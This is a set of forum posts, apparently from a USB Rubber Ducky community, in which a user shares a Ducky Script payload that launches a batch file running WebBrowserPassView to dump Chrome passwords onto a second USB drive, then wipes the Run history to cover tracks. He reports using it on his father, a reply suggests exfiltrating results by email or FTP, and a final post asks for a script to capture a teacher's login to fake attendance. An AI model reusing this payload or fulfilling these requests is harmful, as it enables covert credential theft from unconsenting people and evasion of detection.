[twin duck firmware]

hey just flashed the twin ducked firmware on my ducky usb, when the ducky is plugged in several PCs, it doesn't always show up as usb drive(F:),

in my scriot, theres this,

gui r

delay 500

string cmd

enter 

delay 1000

F:

enter

 

the f: part doesnt always work, so is there a way to let cmd open the drive by name and not my letter? thanks!

[making the payload fatser]

1 minute ago, Rainman_34 said:

you would have to save the results to a .txt file on the computer first and then export them that way.  Check out ducktoolkit.com.  You can check some things you want done and it will show you the coding and take the ideas from that.

Thanks for taking the time to read and reply!

[making the payload fatser]

Just now, Rainman_34 said:

You can also e-mail them to yourself or exfiltrate them over ftp

i could email the results but how can i out the  webbrowserpassview files on the target pc from the first place, and how can i ftp them from a server to the targets computer? thanks

1

[making the payload fatser]

hey, I just got my first rubber ducky today and i already ran my first payload on my dad ( he was like *.*) . so before executing, i downloaded WebBrowserPassView version 1.45 where the program would run and create a .txt file where all the chrome passwords are saved in and put it on a usb that i bought. this usb is very small(maybe the the size of my nail) and i plugged it minutes before my ducky, after plugging the usb i saw that the usb was recognized as drive F: so at this moment i wrote my script

REM open cmd
DELAY 1000
GUI R
DELAY 200
STRING cmd
DELAY 150
ENTER
REM resize cmd
DELAY 200
STRING MODE CON: COLS=15 LINES=1
DELAY 10
ENTER
REM access the F: drive
STRING F:
ENTER
REM launch the bat file
DELAY 200
STRING LAUNCH.BAT
ENTER
DELAY 300
REM clear my tracks
STRING  powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
DELAY 100
ENTER
DELAY 500
REM exit cmd
STRING EXIT
DELAY 10 
ENTER
 

 

After that i remove the ducky and wait for the appropriate time to remove the usb and plug it in another computer and get the password.txt

So my question is, is there a way to access those files without using another usb(i heard about the twin ducky, i might try it, but im open for other suggesions) thanks!!

[Internet passwords]

Hey, at my school the presence list is taken on this site: https://gpi-internet.cspi.qc.ca/asp/gpi.aspx

so the teacher goes to this site then signs in and chooses who's absent.

so is there a script that can be put on a rubber ducky that injects code onto the computer and when the teacher signs in the username and password are automatically sent to me?

Installing a program on the pc is not an option because it demands usernams and passwords that even the teacher doesnt have

'this is only meant for me to skip classes and still put myself as present not to harm someone in anyway'

thank you very much!